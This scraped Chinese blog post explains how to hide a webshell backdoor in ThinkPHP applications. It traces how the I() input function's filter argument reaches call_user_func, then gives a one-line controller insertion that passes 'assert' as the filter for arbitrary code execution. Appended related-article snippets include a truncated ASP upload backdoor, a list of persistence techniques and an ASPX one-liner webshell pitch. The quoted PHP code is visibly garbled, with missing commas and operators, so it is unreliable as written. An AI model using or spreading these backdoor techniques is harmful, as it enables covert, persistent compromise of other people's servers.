ThinkPHP留后门技巧

原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html

90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。

thinkphp的I函数,是其处理输入的函数,一般用法为I(‘get.id‘)——从$_GET数组中取出键为id的值,post、cookie类似。

let me see see I函数的代码:

01 function I($name$default ‘‘$filter = null, $datas = null)
02 {
03     ...
04  
05     if (‘‘ == $name) {
06         // 获取全部变量
07         $data    $input;
08         $filters = isset($filter) ? $filter : C(‘DEFAULT_FILTER‘);
09         if ($filters) {
10             if (is_string($filters)) {
11                 $filters explode(‘,‘$filters);
12             }
13             foreach ($filters as $filter) {
14                 $data = array_map_recursive($filter$data); // 参数过滤
15             }
16         }
17     elseif (isset($input[$name])) {
18         // 取值操作
19         $data    $input[$name];
20         $filters = isset($filter) ? $filter : C(‘DEFAULT_FILTER‘);
21         if ($filters) {
22             if (is_string($filters)) {
23                 if (0 === strpos($filters‘/‘)) {
24                     if (1 !== preg_match($filters, (string) $data)) {
25                         // 支持正则验证
26                         return isset($default) ? $default : null;
27                     }
28                 else {
29                     $filters explode(‘,‘$filters);
30                 }
31             elseif (is_int($filters)) {
32                 $filters array($filters);
33             }
34  
35             if (is_array($filters)) {
36                 foreach ($filters as $filter) {
37                     if (function_exists($filter)) {
38                         $data is_array($data) ? array_map_recursive($filter$data) : $filter($data); // 参数过滤
39                     else {
40                         $data = filter_var($datais_int($filter) ? $filter : filter_id($filter));
41                         if (false === $data) {
42                             return isset($default) ? $default : null;
43                         }
44                     }
45                 }
46             }
47         }
48     ...
49     return $data;
50 }

I函数的第三个参数是$filter,作用是对变量的过滤。

新版本(3.2.3)中,$filter可以传入两种4种值:

1.一个过滤函数(字符串)

2.一些过滤函数组成的字符串,其间用“|”分割

3.一些过滤函数的字符串组成的数组

4.以“/”开头的正则表达式

可见代码,若$filter为空的话,其默认值为C(‘DEFAULT_FILTER‘)。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars

以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:

1 if (0 === strpos($filters‘/‘)) {
2     if (1 !== preg_match($filters, (string) $data)) {
3         // 支持正则验证
4         return isset($default) ? $default : null;
5     }
6 }

如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。

而回调函数部分,是我们留后门的关键。核心是这一段:

01 if (is_array($filters)) {
02     foreach ($filters as $filter) {
03         if (function_exists($filter)) {
04             $data is_array($data) ? array_map_recursive($filter$data) : $filter($data); // 参数过滤
05         else {
06             $data = filter_var($datais_int($filter) ? $filter : filter_id($filter));
07             if (false === $data) {
08                 return isset($default) ? $default : null;
09             }
10         }
11     }
12 }

如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。

我们跟进array_map_recursive函数:

01 function array_map_recursive($filter$data)
02 {
03     $result array();
04     foreach ($data as $key => $val) {
05         $result[$key] = is_array($val)
06         ? array_map_recursive($filter$val)
07         : call_user_func($filter$val);
08     }
09     return $result;
10 }

明显是一个递归执行的过程,最后调用的是call_user_func 。

还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。

所以,我们只需要随意找个controller,在可访问的方法中插入:

1 I(‘post.90sec‘‘‘, I(‘get.i‘));

如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。

我就拿thinkphp默认的IndexController下的index方法示例:

如下即可执行任意代码:

一个回调后门,菜刀也可以连接。

时间: 2024-08-09 14:07:10

ThinkPHP留后门技巧的相关文章

使用大白菜U盘进入PE后再次重启电脑会留后门的清理方法

使用大白菜U盘进入PE后再次重启电脑会留后门,这个后门主要是自动下载安装一些软件,比如金山毒霸等. 清除方法: 1.每次用完PE重启前,清理以下地方: ①c:\Windows\xxxxx.exe(查看详细信息时会显示大白菜U盘工具) ②C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp(删除全部vbs脚本)

thinkphp模版使用技巧 -Thinkphp兄弟连19

thinkphp模版使用技巧 第19节:ThinkPHP 3.1.2 模板变量详解 一.模版包含:相似代码单独保存在一个文件 <include file="完整模版文件路径/" thinkphp模版使用技巧 -Thinkphp兄弟连19

钩子编程(HOOK) 留后门与钩子卸载

作者 : 卿笃军 问题由来:一般编写钩子程序,我们希望程序一方面能屏蔽键盘鼠标消息,但又希望程序能留有一个"后门",例如,按下F2退出程序. 下面示例,钩子后门设计与钩子卸载: 第一步:打开VC6.0创建一个基于对话框的MFC应用程序. 第二步:在BOOL CHookDlg::OnInitDialog()函数上面编写如下代码,注意不是OnInitDialog()里面: HWND g_hWnd = NULL; //窗口句柄 HHOOK g_hKeyboard = NULL; //钩子句柄

入侵者已经拿到了主机的管理员权限,请你列举几种留后门的方法:(windows和LINUX系统均可)

Webshell后门 XSS后门 远控后门&rootit(windows&LINUX) SSH后门 SHIFT终端服务器后门 系统用户账号克隆 SQL数据库扩展存储型后门 SQL数据库沙盒模式后门 Oralce/mysql自定义函数 Oralce的特权用户 文件捆绑型后门 下载系统用户密码HASH到本地进行破解 IIS/Tomcat/WEBLOGIC/APACHE应用型后门 键盘记录 .... 后面的继续,HEHE 收藏感谢(0) 分享到:0 32 个回复 1#哲璇 (<小学结业生&

windows留后门与局域网抓包

嗅探3389密码wiresharkcain windows安装后门:账号后门:net usernet user 账号$ 密码 /add 加$符变为隐藏账号net localgrop administrators 账号 /add net user 账号 /del 删除账号 系统自带账号改密码 记录名字 regedit 打开注册表 HKEY_LOCAL_MACHINE->SAM->SAM 右键设置权限 刷新 users->name 找到账号 看类型 上面找到该账号 先找到管理员(admini

简单给站点留后门

 <%if request.QueryString("action")="comeon" then a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d

不要那么短视!科技公司就不应该留后门

http://www.houzz.com/ideabooks/44371984/thumbs/ http://www.houzz.com/ideabooks/44371985/thumbs/ http://www.houzz.com/ideabooks/44371986/thumbs/ http://www.houzz.com/ideabooks/44372029/thumbs/ http://www.houzz.com/ideabooks/44372030/thumbs/ http://www

ASPX版菜刀一句话,留后门专用

首先解释一下为什么要做这个玩意:众所周知.net一句话是不能插入到文件之中的,除非那个页面使用Jscript编写,但是现在看来 Jscript市场很低,遇到的.net站基本都是C#.新建一个SHELL太过于明显,而且其中的eval更是在WEBSHELL扫描工具的淫威下直接 出局.如果不能提权的话,那么过一段时间再打开往往面临的是大大的404.综上,利用.net会加载bin目录中的类库的特点和命名空间这个神奇 的东西编写了这个程序,将文件放在bin目录并在文件中插入调用代码即可.可能你会说放在bi

内网渗透思路

Sky's自留地 关注互联网安全,关注安全&攻击技术. 搜索关键字搜索 首页申请链接 内网渗透测试思路[转自网络] 作者: sky 孵化于: March 15, 2015 家属: 学习类,技术类 访问: 2,136 次 写在前面渗透测试是门技术,也是一门艺术.这门技术(艺术)一开始也不是每个人都会的,正所谓没有人一出生就会走路,从不懂到入门到深谙,一步步慢慢来,每个人都是这样:但是在这个过程中,思路无疑是最重要的,没有做不到只有想不到,就跟咱们高中解题时有了思路就迎刃而解一样,手里拿着铲子(技巧